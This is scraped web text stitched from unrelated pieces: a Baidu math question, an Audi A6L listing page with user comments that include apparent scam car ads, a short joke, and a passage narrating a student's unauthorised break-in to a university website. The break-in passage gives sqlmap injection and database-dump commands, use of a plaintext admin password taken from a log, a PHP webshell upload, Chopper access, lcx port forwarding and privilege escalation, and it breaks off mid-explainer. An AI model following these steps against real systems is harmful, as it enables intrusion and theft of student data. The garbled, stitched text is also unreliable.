田刚要在今年2月下旬看完一本96贡的故事会，他头5天有每一天看10贡，请问面需要多少天才能看完_百度知道
田刚要在今年2月下旬看完一本96贡的故事会，他头5天有每一天看10贡，请问面需要多少天才能看完
答题抽奖
首次认真答题后
即可获得3次抽奖机会，100%中奖。
殇之风2018
来自科学教育类芝麻团
殇之风2018
采纳数：462
获赞数：213
参与团队：
问题应该很简单，主要注意2月下旬有多少天就行啦（下旬是16日开始的，2月不是闰年是28天）
为你推荐：
其他类似问题
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。您所在的位置： &
& 一汽奥迪 &奥迪A6L
品牌：请选择品牌
在售二手奥迪品牌
奥迪A6L竞争车型
价格：55.88万 - 65.88万
价格：40.80万 - 51.80万
价格：68.80万 - 160.00万
价格：36.80万 - 71.99万
第一车网数据分析
二手车搜索
二手车交易价值指南
每季初出版
厂家召回信息
商用车热点
品牌简介：1999年投产以来，国产A6经历了五次升级，不到5年的时间里销售达20多万辆，国内高档车霸主地位无人能撼，但在各大厂商开始抢食高档车市后，奥迪倍感压力，于是05年6月16日推出了最新款的A6L，继承了A6品牌的优良传统，加上激情和动感的外观、最新的技术、豪华装备和内饰、先进的底盘、高强度车身和安全设备，赋予了国产全新奥迪A6L再度引领高档车市，傲视群雄的雄厚资本。
生产厂家：一汽奥迪
上市时间：
指导价格：34.30
品牌类型：中高级轿车
生产状态：在产
官方网站：
用户手册：
品牌历史：点击查阅
奥迪A6L优点：外形大气，采用科技先进配置，让驾驶者更加体验驾驭乐趣，内饰典雅高贵，后排空间大，维修便利，发动机性能卓越动力强劲，运动型和稳定型结合更加突出其独有的魅力。
奥迪A6L缺点：油耗大，涡轮工作有迟滞现象，维修保养昂贵，价格过高，导航系统定位准确性有待提高，后排座过于简单，与其行政车市场定位不符。配件贵，变速箱问题影响奥迪品牌。
奥迪A6L常见问题：04年 A6 1.8T奥迪，车跑高速方向盘抖，烧机油严重！
奥迪A6L回答：您说的烧机油很严重的问题，根据您所描述的现象分析，这车烧机油也太厉害了。如果要是像您说得这么严重的话，建议您还是尽快大修发动机吧！由于没有见到现车，建议您可以自己先检查一下：一是如果只在车启动时排气管冒蓝烟，最大的可能是气门导管与导管承孔密封不严造成机油泄漏，进而渗入燃烧室所致；二是如果排气管在正常工作时冒蓝烟，可能是气门杆磨损过度或气门油封失效，使气门室内的机油被吸入燃烧室所致，使机油随可燃混合气经进气管进入燃烧室造成的；三是如果除了排气管冒蓝烟，还可看到从加机油口冒出脉动蓝烟，可初步判定活塞连杆组密封性效果不好，活塞连杆组如活塞与缸壁间隙过大、活塞环弹力小、抱死或对口、活塞环磨损使端隙、边隙过大等问题，使活塞环产生泵油现象。
在产车型（15款）
停产车型（349款）
收录车辆代码（51个）
厂商指导价
市场优惠价
奥迪A6L 保值率
奥迪A6L保值率（%）
整体保值率（%）
二手奥迪A6L价格走势
奥迪A6L二手车价格指数
整体二手车价格指数
按价格找车
品牌经销商
地址链接、促销信息
<div style="width:138" class="lim" title="010-0-
<div style="width:138" class="lim" title="010-0-
<div style="width:138" class="lim" title="010-0-
<div style="width:138" class="lim" title="010-0-
<div style="width:138" class="lim" title="010-0-76642/3
<div style="width:138" class="lim" title="010-0-
<div style="width:138" class="lim" title=" 010-0-
<div style="width:138" class="lim" title="010-0-
<div style="width:138" class="lim" title="010-0-
<div style="width:138" class="lim" title="010-0-
评论导语：您可以再次尽情讨论车型，或者通过联系方式给我们建议。
01-12 22:45:47：我想买起亚k2，但是看价格有点贵有没有2手的7---9新，电话01-03 04:52:48：我要买一辆货卡商丘附近12-17 11:19:25：我这有一辆12年的马六时尚型,手自一体,带天窗的,126000左右 ,有需要的可以联系我.孙先生12-12 14:32:12：有火鸟
野马 所有进口年龄比较大的联系我12-10 11:08:09：在云南什么时候可以买到欧力威1.412-06 20:46:44：汽车蓝本报价书 有没有卖的 有请尽快与我联系12-04 10:10:06：想买一个五菱单排车价格就是一万以下的11-20 19:54:03：我想要一辆二手传奇GS5
要求;行程在五万公里以内
价格大约要多少11-20 13:19:04：克尔维特上海哪里有维修？11-05 10:28:33：我想问买吉利英伦ＳＣ６，好不好，请大家给点意见，谢谢10-24 13:17:06：全顺的车不行啊 。刚买的国IV的车，第一辆刚到家尾气冒青烟
，漏机油，。很好，还给我换了一辆。中途花了我半个月的时间，好了，既然给我换了一辆我就不说什么了，可是这辆还是一样的毛病，还是冒青烟 漏机油 ，有图有真相，给厂家打电话，厂家来一句这归维修部管，让维修部给理由，可是维修部又说查不出原因，我想知道，全顺的车还能不能买，是不是非要找媒体曝光，闹的不愉快才开心呢，劝大家不要买全顺的车了，车不行，两辆都是新车啊，开这开着后面就像下雾一样，冒烟也就算了，机油还洒了一路，很愤怒10-23 10:53:06：真他吗的贵啊。在美国也就3.7万美刀。10-22 14:29:16：我vgv10-01 23:06:49：要一辆二到三万的二手车
09-26 09:57:24：买车何必再等到车展，斯柯达瑞翔店是您最好的选择
09-11 15:30:34：我那个兰博基尼开了两年，还算好，大家买一个吧
09-07 09:12:04：我考虑咱们这车好久了，能不能给个底价，什么都不说给个合理的底价咱就到店提车08-24 16:45:40：谁买天汽美亚谁倒霉。配件都很难买到08-24 15:20:06：我在无锡联什么买的美亚骑兵黑色的
上次维修人家讲我的车以前被修过
这个人车毛病多的要命
要买的和我联系
告诉你有多少毛病
骗你不是人
我是常熟的08-22 18:58:41：b比亚迪新M6.有天窗吗？2.0有天窗2.4有天窗，价格10.34吗？可以优惠吗？
08-17 16:56:50：猎鹰在东莞哪里可以买的到？08-16 19:24:22：我想买一款1。8L豪华型的车。请问你们温州有经销店没有？10-23 07:30:01：江南奥拓车服务不怎么样，我的车，前排座全普遍出现钢丝，直说给我换，就是发不回来货、、？把裤子通坏几条，；10-19 00:00:07：请问奥铃皮卡4d22那里有买.09-29 20:22:53：首次免费保养为什么迟迟不到位? 服务太差09-28 08:19:23：我想买一款二手雨燕汽车，价格最好在4万左右。09-21 16:44:58：质量没保证服务不好烂小康09-21 16:42:16：大家不要买东风小康烂车呀09-21 11:48:55：野马车外观可以，绣花枕头一个，光出毛病，买了便宜货，烧了夹底锅！上当！上当！09-19 16:09:01：07年7月出厂，08年3月上牌的斯巴鲁驰鹏3.0的车，他的排放是什么标准的，是否可以转入青岛市09-15 20:45:31：想买一辆二手海马普力马最高配的那个。要求白色7座1.8无级变速。天窗，2010款有正规手续须过户。价格：7万09-14 18:11:16：我车型是标致207手动低配.09年8月份购买至今已行驶35000公里.播放器无法开启没声音在网上咨询过需要把电池的一极拆掉1分钟连接就会好的。可是过几天又没声音了经常这样反复拆装快半年了请问能有什么办法吗!09-13 09:26:20：我想买一辆二手新款悦动09-08 15:47:59：比亚迪“国Ⅲ带OBD”这是什么意思？09-02 18:03:10：本人年龄50岁了，你购买一台汽油机的哈佛H6，请高人指定帮助为盼！09-02 13:47:02：我想买一款二手车，价格在4-5之间，关键是要车较新08-23 17:10:05：我想买马自达6轿跑的，自动挡中高配置
3年差不多的
价格：7万左右的有的请联系我，最好台州这边的08-21 16:43:17：名爵3精英版怎么样？08-11 21:20:51：金杯海狮有没有可以拉货的车，如果有，那金杯海狮、和福田的风景快运，那个好点。07-14 11:12:45：2011款发现4，揽胜运动版，揽胜行政版，路虎神2，现车颜色齐全价格优惠 欢迎来电咨询！电话010-
刘经理07-06 20:49:46：我想买一辆二手伊兰特中配的价格在2万到3万之间07-06 20:30:16：我想买一辆奥铃货车厢6.2米长的，有意的或是又给提供信息的请与我联系，价格在2万到3万之间的。谢谢大家06-14 20:14:41：我是2010年买的朗逸，现在我的后灯里面有几个苍蝇在里面，这在索赔范围内06-03 06:50:34：保修期一过，我们就没好日子了，前两天换了一个氧传感器，我在网上查了一下，就是接口不一样，网上的是280元，维修点是2100元，差了十倍。我家车这回又停了四天了，还要停下去。自从买了金龙天然气车后，我快破产了。而且最大的弊端就是，我们在修车，到下班时间他们就走人，上午八点上班，中午两小时午休，晚上六点下班，我们在那里修车，得按他们的时间算。以前我们买的这车是江淮客车，维修都是不分昼夜的。06-03 06:50:24：金龙天然气车质量太差了。我买了一年零两个月了，我是做客运的，三天两头的修车，气人的是，修车维修点还没有件，一等就是四五天跑不了车，每天上交的费用都在一千元左右。保修期还好点，件厂家负责，但我们每次修车损失都在四五千左右。06-02 17:03:47：v8的猛士怠速是多少呢？06-02 09:58:05：请尽快给我回信！谢谢06-02 09:57:27：轩逸1.6-MT-XL豪华天窗版(国Ⅲ)(.58万
我想购买这一款车型！是否能享受到市场优惠价的待遇！是否有补贴？车俩购置税是多少？06-02 09:52:30：顺便说明一下我是安徽滁州地区的，天长市06-02 09:51:43：我们在购车时是否能享受到市场优惠价的待遇？便宜好几千喔！！！05-30 08:23:40：黑车套牌车出售188
二手车出售一手车 一手钱 质量保证 见车付款 奔驰 、 宝马 、 路虎
保时捷 、 大众
途锐 、 奥迪 、 本田 、 丰田 、凌志、尼桑、进口二手车,成色好,各款车型均货源充足,单件交易为主,同时也考虑车行发展,真诚寻求长期合作伙伴05-26 22:15:51：我知识浅，刚入行，希望前辈们多多指教，我多多学习，谢谢山东建伟05-25 13:57:18：数据很好。很强大啊~05-20 14:20:29：江西省景德镇市珠山区五菱汽车有专卖店,一个月内出现问题不给予解决,推到三个月以后就说过保了,换1档和倒档很卡,车门密封不好,MP3经常故障,耗油,车胎使用到15000公里就要换了,也就是说只能开6到7个月就不太行了,服务不好!我花了5万买的,真要我后悔!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!05-19 15:29:16：我想买车05-10 20:41:20：在苏州买陆风X8,X6 找苏州市顺铃汽车销售服务有限公司的赵君经理说的算车价便宜，送东西多，还有2000元油卡，别人搞不定
http://www.szshunling.com/
05-10 10:35:42：本公司生产的长安星光-35面包车在整车外关看还好了，但使用后欠发现较多问题，此问题个人看来都是出厂前检验不到位，希以后加强对整车出厂前检验，还有低配车怎么连最基本的点烟器座都没呢，车门锁使中转动。造成用户想装导行都是困难，希本厂是否可考虑加强改善。04-25 18:09:28：哈哈，我总是喜欢尝试新鲜事物哈，我试驾了新车G3R,总体感觉还可以，感觉有以下几点
1、漆面有了很大改善（可见BYD开始重视细节方面），细腻而有光泽，均匀而平滑！
2、模具制造或者说装配工艺有了很大层次的提高（优于同价位合资品牌），接缝明显对称、缩小了许多！
3、内饰色调搭配让人感觉很舒适，塑料件联接严丝合缝，完全摆脱了以往缝隙大的阴影！
4、空间明显大于其他两厢车，座椅厚实包裹性加强！04-04 13:28:22：我的伊兰特一年半了，还不到10000公里，最近在不平路面中低速行驶遇到颠簸时可以听到后面有“吭哧”一声，好像是两个金属梁摩擦的声音，经常听到，去4S店，他们试车时没听到，可是自己开时又经常出现，不知是何原因，车子举起后也没发现毛病，我菜鸟的怀疑是不是减震的问题还是怎么着，请老师给予解答，在此多谢了。03-22 13:24:54：03年菲亚特西耶那是国3标准吗03-20 20:53:20：12万预算，是雪铁龙世嘉，还是丰田卡罗拉或大众朗逸？请给个推荐，当然要省油耐用03-19 09:46:16：韩国车目前比日本车更可恨，瑞纳车前引擎盖打开一看，铁片薄如蝉羽，轻如鸿毛，比同级别的车，轻一半，轮胎是和韩国的锦湖轮胎，严重不合格伪劣产品，行驶500公里就开始爆胎，轮胎质量投诉第一爆胎车祸众多，315曝光，大家都看了吧，不怕死的就买吧，这就是韩国人的德行，不把中国人当人看。03-15 14:57:21：东港铭远进口汽车销售有限公司出售一批全新进口汽车.质量可靠.免定金.车到您所指定的地点.验车前不收取任何费用.上完牌照后一次付清:奥迪Q73.0/45万.奥迪A52.0T/26万.奥迪Q53.2/35万大众途锐3.0/40万.保时捷卡宴3.0/42万.路虎揽胜3.6/75万.宝马3系26万.宝马5系37万.宝马7系55万.宝马X53.0/46万.奔驰E级25万.奔驰GLK级GL450 65万.奔驰S级45万.咨询电话: 范经理
03-08 10:59:35：哈佛H3还可以，是我的心目中的对象02-26 07:31:57：大家好；我是唐山的，二月二十二新买的志俊车，方向打死不能自回，是故障车吗？02-17 09:37:50：我想买台2011款Q5，请问有现车吗？若定车需要等多久？02-17 04:49:33：经济型海马王子02-01 09:53:29：莲花L3样式难看，如果模仿奔驰就漂亮啦！01-11 14:49:56：哪里可以买到MPV雪虎前大灯01-11 14:47:58：哪里可以买到雪虎前大灯01-06 20:30:53：2W买什么车好啊12-29 16:47:11：我想问下2010款伊兰特和2007款伊兰特后尾箱有没有变，买了个尾翼是2007款车上的，不知道放在2010款车上好用吗12-18 23:24:26：富康车真的是太棒了，我买了一个二手的出租北京的，在我手里以4年了，因为我机油没有加好爆瓦了，拆开一看全是原车发动机，从来没有拆开过，99年代车啊，到现在最少跑了也有140万了真的是不敢想象，怎么会是那样的发动机真的太棒了，出租最少一年跑30万公里，8年到淘汰，在我手里4年今天才大修，真的是不敢想象。太棒了今天修车的和我说没有拆开过，我都不敢相信，棒棒棒12-18 11:14:45：对于途观2.0T最高配置我心仪已久，但对于昂贵的价格始终不忍下手，不过还好,前几天经朋友介绍在 www.fq555.com 看上了一部，价格很合适.只要3.2万元【润鑫汽贸有限公司承诺】手续齐全，包送车，包过户车子是原装的，是个不错的好商家，顺便跟大家说说, 大家可以先进去看看。12-18 11:11:37：因为工作需要，需要买部车来带步
，想买新车呢手里资金紧张.所以就到网上逛了逛.无意中看到润鑫汽贸
他们的网站 http://www.fq555.com 卖的车比市场便宜.我看中他们的宝来1.6L豪华型裸车才2万.因为路途遥远.我只好选择他们送车。.当然我也是第一次在网上购车，也感觉怕怕的,后来经过咨询了一下就大胆的买了一辆，付了1千元订金过去。车子2天就到了。质量不错，车子还有9成新，手续齐全可以过户，售后服务很有保障。感觉满不错， 所以我就推荐给大家咯！建议要买车的朋友，不妨去看看哦。12-14 16:17:36：我有一辆1.3手动档千里马，2004年购买的，现行驶了十一万公里，2010年3月调换所有皮带后发现发动机声音越来越响，近来又发现车辆加速至70码左右，车辆产生共振现象，去了4S店检查了几次也查不出问题，4S店师傅也说发动机声音是比别的同类车声音响，就是找不到原因，我辆车以前发动机声音很轻的，请帮忙诊断一下是什么原因，谢谢！12-09 19:22:45：和悦垃圾，服务态度极差，尤其是你教完钱后，收车时，发现小毛病让他处理，他们就不高兴了！最严重的是北二环销售态度，尤其是经理和个别自以为是的销售员！垃圾11-25 21:06:50：我2007年12月买的起亚狮跑GLS2.0手动挡，今天从上海回山东的路上，行至京沪高速泰州路段，车辆失速，离合器脱档，再也挂不上档。已行驶11.7万公里。说是需要更换三个部件，我忘记什么名称了，总报价1050元。是否涉及汽车质量问题？10-28 15:32:49：马自达2劲翔1.5-AT尊贵型(国Ⅲ带OBD)(200804),这是2008年04月款的车型，您可能看到的是当年的（08年）车型款式停产，我们车型库的标准是主要针对二手车，每年的价格均有不同，所以就会出现08款的车生产在08、09、10年，那么08和09的均为停产，而10年是在产。10-26 11:24:52：马自达2劲翔1.5-AT尊贵型(国Ⅲ带OBD)(200804) 这么快就停产了10-07 12:09:37：我希望BYD公司能给赔偿10-07 12:08:55：比亚迪F3R太不好了
我家刚买了一辆
刚过十天就烧坏了
烧得只剩一堆废铁
消防员鉴定是因为车的烟筒因质量问题而引起的火灾
BYD公司没有一点赔偿
09-29 13:44:12：60000买什么二手车最值？
09-04 23:14:36：5万买什么二手车最值？09-01 22:21:32：hi大家好：
我是广州的，去年8月买的科罗拉1.6全自动的，买入价13.28万，；看了你们的报价单我被骗了！我哭！
平安给我做的（全保）一年上下班我开了不到4000公里，一年有三次被保，两次停在餐厅门口被划伤，被保1550元；一次我再倒车的时候不小心划伤到人家的车子，我的车子被保350元；别人的车子我资费处理。今年平安保险拒保我的车子！请问各位大侠，我今年转保应该要求保价多少？请指教。致谢08-17 01:02:37：我的东风小康购买前就有发动机发动后显示屏一直显示，到4S东风小康服务点，也没有解决，怎么办？请好心人解决。08-03 15:19:19：国三带OBD的意思是：国家三号排放标准，带OBD车俩诊断系统，车辆公告代码是不一样的，多用于北京、上海等几大城市。08-02 21:25:29：比亚迪“国Ⅲ带OBD”这是什么意思？08-02 16:16:33：宝来是10年才使用的6速手自一体变速器08-02 12:51:03：09年的宝来 怎么没有手自一体呢？07-22 11:51:09：开迪在2007年就停产了，二手市场偶尔见到07-22 11:49:47：雪佛兰S10搜索没问题了，您可以再试试07-21 12:52:35：开迪停产了？只能买二手了？07-20 13:47:33：金杯通用
雪佛兰是是s10
搜索一下是现代07-19 11:35:13：新的配置表比以前的更为丰富，您可以更为直观的查看07-17 16:03:57：改的不错，就是以前的配置表怎么找不找了？07-16 17:13:36：丰富的内容享受不尽07-15 14:47:00：东风v27豪华版什么时候到新疆07-09 20:16:34：北汽勇士直销07-04 20:59:47：林荫大道售后服务差06-29 14:32:39：丰田召回怎么没有下文了？06-10 17:29:01：内容的确很丰富！06-10 17:06:19：恭喜恭喜，非常不错06-10 17:02:51：恭喜新版数据频道上线06-10 16:49:36：专题内容很丰富呀06-10 16:47:08：车型数据很丰富呀06-10 16:17:56：国家信息审计署预祝第一车网飞黄腾达06-10 16:16:51：上汽通用企划部总监发来贺电06-10 16:16:06：北京现代市场部总监恭贺第一车网车型频道顺利上线06-10 16:15:11：东风悦达起亚贸易部总监祝贺第一车网车型频道成功上线06-10 16:13:57：第一车网车型频道顺利上线06-10 16:12:18：吴文楠恭祝第一车网车型频道上线获得成功06-10 16:11:39：夏云恭祝第一车网车型频道上线获得成功06-10 16:10:33：专题不错
文本版奥迪A6L车型报价
厂商指导价
市场优惠价
41.88 万元
34.34 万元
40.28 万元
34.24 万元
45.65 万元
37.43 万元
46.68 万元
38.28 万元
41.78 万元
35.51 万元
37.83 万元
46.38 万元
39.42 万元
43.88 万元
35.98 万元
47.65 万元
39.07 万元
58.66 万元
49.86 万元
免费咨询热线：400-822-0321 传真：010-
版权所有：，网尽天下-专业平台 [经营许可证号 969] []
Copyright & 2004 - 2016 www.iautos.cn All Rights Reserved晚上和闺蜜一起睡觉。&br&闺蜜是那种一直有点胖胖的类型。&br&&br&黑暗中她突然试探地、小心翼翼地问我：&br&&br&那个，我可不可以摸一下你的肚子？我一直都很想知道肚子上没有肉是什么样的。&br&&br&呃……&br&片刻沉默后……&br&我弱弱地……&br&&br&那……我可不可以摸一下你的胸？我一直都很想知道胸上有肉是什么样的……
晚上和闺蜜一起睡觉。 闺蜜是那种一直有点胖胖的类型。 黑暗中她突然试探地、小心翼翼地问我： 那个，我可不可以摸一下你的肚子？我一直都很想知道肚子上没有肉是什么样的。 呃…… 片刻沉默后…… 我弱弱地…… 那……我可不可以摸一下你的胸？我一直都很…
&p&无聊作死黑了学校官网…发现了管理员的秘密……&/p&&p&黑客H是M高校的一名普通学生，对于一名计算机系的大学生来说，生活总是显得枯燥又无聊。&/p&&p&专业的课程再简单不过了，每次上课H总是偷偷的学黑客技术，他对黑客的世界感到着迷。&/p&&p&一天，刚刚刷完夏洛克第三季的H又无所事事起来，兴许是吸取到了福尔摩斯的搞事精神，兴许是为了诠释他所理解的黑客精神，他决定测试下学校网站安全系数，要是能在上面发个表白信什么的，绝对能让还在吃鸡的同学们开开眼。那句话怎么说来着：黑客不出门，想搞天下事。&/p&&p&于是H兄摆好姿势优雅的打开了电脑，掏出收藏多年的工具开始扫描学校的官网。以学校网站的安全系数来看，基本形同虚设吧，H不屑的想到。&/p&&p&哈哈，扫描到能利用的漏洞了！”H嘴角微微倾斜，眼神绽放出了光芒。&/p&&p&此时的他已经连续3天【是真的闲的蛋疼】对目标网站进行了踩点并且收集了管理员的大部分信息，目标域名为******.&a href=&//link.zhihu.com/?target=http%3A//edu.cn& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&edu.cn&/span&&span class=&invisible&&&/span&&/a&，旗下子站通过搜索引擎site:语法进行了抓取导出后进行了CMS快速识别。&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-c468a107fb4a59d6f4bccde_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&543& data-rawheight=&403& class=&origin_image zh-lightbox-thumb& width=&543& data-original=&https://pic4.zhimg.com/50/v2-c468a107fb4a59d6f4bccde_r.jpg&&&/figure&&figure&&img src=&https://pic1.zhimg.com/50/v2-9c9afa2d874b58f86d6e16_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&557& data-rawheight=&402& class=&origin_image zh-lightbox-thumb& width=&557& data-original=&https://pic1.zhimg.com/50/v2-9c9afa2d874b58f86d6e16_r.jpg&&&/figure&&p&“我擦？竟然这么多是国徽和未知CMS，这要前功要尽弃了啊。。”黑客H懊恼的抽出了一根中南海，尼古丁能给他疲惫的大脑一些刺激。&/p&&p&“信息已经收集的差不多了，子域名也拿到了，高校网站应该都是内网服务器映射到公网的，还差什么呢？&/p&&p&嗯......注入？”&/p&&blockquote&科普时间：所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（恶意的）SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。&/blockquote&&p&H抱着侥幸的心理进行了批量注入扫描。&/p&&p&几分钟后，扫描器显示出了一条疑似存在SQL注入的链接&/p&&blockquote&http://****.&a href=&//link.zhihu.com/?target=http%3A//edu.cn/xxxxx.php%3Fid%3D356& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&edu.cn/xxxxx.php?&/span&&span class=&invisible&&id=356&/span&&span class=&ellipsis&&&/span&&/a&&/blockquote&&p&H通过手工进行了简单的判断，认为该注入点可以利用，随后祭出SQLMAP执行命令：sqlmap.py -u ****.&a href=&//link.zhihu.com/?target=http%3A//edu.cn/xxxxx.php%3Fid%3D356& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&edu.cn/xxxxx.php?&/span&&span class=&invisible&&id=356&/span&&span class=&ellipsis&&&/span&&/a&&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-c4a1bb865cb4cab898d04cf_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&663& data-rawheight=&266& class=&origin_image zh-lightbox-thumb& width=&663& data-original=&https://pic3.zhimg.com/50/v2-c4a1bb865cb4cab898d04cf_r.jpg&&&/figure&&p&SQLMAP的回显另其为之一振“靠！高校类站点还有get注入，看来是我太高估了”&/p&&p&0x02攻击&/p&&p&H随后执行了sqlmap.py -u ****.&a href=&//link.zhihu.com/?target=http%3A//edu.cn/xxxxx.php%3Fid%3D356& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&edu.cn/xxxxx.php?&/span&&span class=&invisible&&id=356&/span&&span class=&ellipsis&&&/span&&/a& --dbms&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-12a15deaa7cf0ef7126221_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&317& data-rawheight=&577& class=&content_image& width=&317&&&/figure&&p&&br&&/p&&p&回显更令H兴奋，该数据库共有31张表（部分信息过于敏感，已做涂黑处理）&/p&&p&由于之前的信息收集，黑客H断定zy表一定是一个子站的表，于是执行命令sqlmap.py -u ****.&a href=&//link.zhihu.com/?target=http%3A//edu.cn/xxxxx.php%3Fid%3D356& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&edu.cn/xxxxx.php?&/span&&span class=&invisible&&id=356&/span&&span class=&ellipsis&&&/span&&/a& --dump -T admin -D zy&/p&&p&SQLMAP列出了admin表中的所有字段，其中包含经过MD5加密的密码，黑客H拿到密码后进行了解密，遗憾的是并没有解密成功，于是愤怒的他执行了qlmap.py -u ****.&a href=&//link.zhihu.com/?target=http%3A//edu.cn/xxxxx.php%3Fid%3D356& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&edu.cn/xxxxx.php?&/span&&span class=&invisible&&id=356&/span&&span class=&ellipsis&&&/span&&/a& --dump-all&/p&&p&然而下面的一幕令他崩溃&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-8e370daba49_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&593& data-rawheight=&265& class=&origin_image zh-lightbox-thumb& width=&593& data-original=&https://pic3.zhimg.com/50/v2-8e370daba49_r.jpg&&&/figure&&p&一共3073张表，由于这是高校网站，所以断定有学生数据，然而黑客H对这些数据不感兴趣，他的目标是服务器权限。&/p&&p&在经历耐心的等待3天后，以zy命名的文件夹下一个csv数据库文件引起了他的注意文件名称是：p8_admin_log.csv黑客H想：这不是代表admin用户登录日志的文件吗？打开看看吧，也许出奇迹呢&/p&&p&黑客H随即打开文件，搜索password后发现了明文密码&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-3ef7187b0faaac1a91ff5_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1147& data-rawheight=&360& class=&origin_image zh-lightbox-thumb& width=&1147& data-original=&https://pic1.zhimg.com/50/v2-3ef7187b0faaac1a91ff5_r.jpg&&&/figure&&p&于是，他尝试用用户为admin，密码为today3#zy进行了登录&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-bee416a1c20e22aecad4b1c_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&809& data-rawheight=&428& class=&origin_image zh-lightbox-thumb& width=&809& data-original=&https://pic4.zhimg.com/50/v2-bee416a1c20e22aecad4b1c_r.jpg&&&/figure&&p&在清脆的ENTER键声后，后台界面呈现在他眼前&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-906bb88fa9_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&978& data-rawheight=&468& class=&origin_image zh-lightbox-thumb& width=&978& data-original=&https://pic3.zhimg.com/50/v2-906bb88fa9_r.jpg&&&/figure&&p&他翻了翻后台，找到了可以上传的位置，但是不能进行PHP文件上传，再进行了深入寻找后，发现了能自定义上传文件后缀的方法在上传模块里有个权限设置&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-eacede98eec0f7d61f9c9b_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&238& data-rawheight=&209& class=&content_image& width=&238&&&/figure&&figure&&img src=&https://pic2.zhimg.com/50/v2-df001fadf0_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&599& data-rawheight=&214& class=&origin_image zh-lightbox-thumb& width=&599& data-original=&https://pic2.zhimg.com/50/v2-df001fadf0_r.jpg&&&/figure&&figure&&img src=&https://pic4.zhimg.com/50/v2-e7c16bbfcb96dcfd7af9c94d272d26a2_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&567& data-rawheight=&426& class=&origin_image zh-lightbox-thumb& width=&567& data-original=&https://pic4.zhimg.com/50/v2-e7c16bbfcb96dcfd7af9c94d272d26a2_r.jpg&&&/figure&&figure&&img src=&https://pic4.zhimg.com/50/v2-44549fcc44efd8ebd745e023edc07285_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&460& data-rawheight=&331& class=&origin_image zh-lightbox-thumb& width=&460& data-original=&https://pic4.zhimg.com/50/v2-44549fcc44efd8ebd745e023edc07285_r.jpg&&&/figure&&p&于是，他顺利的通过文章传图处上传了php文件拿下了子站的webshell&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-2cb58deed94_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&603& data-rawheight=&278& class=&origin_image zh-lightbox-thumb& width=&603& data-original=&https://pic2.zhimg.com/50/v2-2cb58deed94_r.jpg&&&/figure&&figure&&img src=&https://pic3.zhimg.com/50/v2-01e5d915aed489ba015a83e_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&586& data-rawheight=&253& class=&origin_image zh-lightbox-thumb& width=&586& data-original=&https://pic3.zhimg.com/50/v2-01e5d915aed489ba015a83e_r.jpg&&&/figure&&blockquote&webshell地址：http://****.*****.&a href=&//link.zhihu.com/?target=http%3A//edu.cn/attachment/cms/item/_23/c6c1f25ca5cf62c1.php& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&edu.cn/attachment/cms/i&/span&&span class=&invisible&&tem/_23/c6c1f25ca5cf62c1.php&/span&&span class=&ellipsis&&&/span&&/a&&/blockquote&&p&由于没有上传失败等提示，他判断主机不存在WAF或杀软，于是他用菜刀连接了webshell并且执行了whoami命令&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-6dfb89e4283_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&497& data-rawheight=&118& class=&origin_image zh-lightbox-thumb& width=&497& data-original=&https://pic4.zhimg.com/50/v2-6dfb89e4283_r.jpg&&&/figure&&p&“system么。。。”H沉思了下，执行了ipconfig命令&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-07a07c696db2cd495a7e2ac5b1f2fb3c_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&496& data-rawheight=&501& class=&origin_image zh-lightbox-thumb& width=&496& data-original=&https://pic3.zhimg.com/50/v2-07a07c696db2cd495a7e2ac5b1f2fb3c_r.jpg&&&/figure&&p&“10.8.4.12....看来之前的猜测是对的。”黑客H向服务器上传了lcx并进行了端口转发同时在菜刀内进行了提权操作。&/p&&blockquote&科普时间：&br&内网IP划分：A类 10.0.0.0--10.255.255.255 &br&B类 172.16.0.0--172.31.255.255 &br&C类 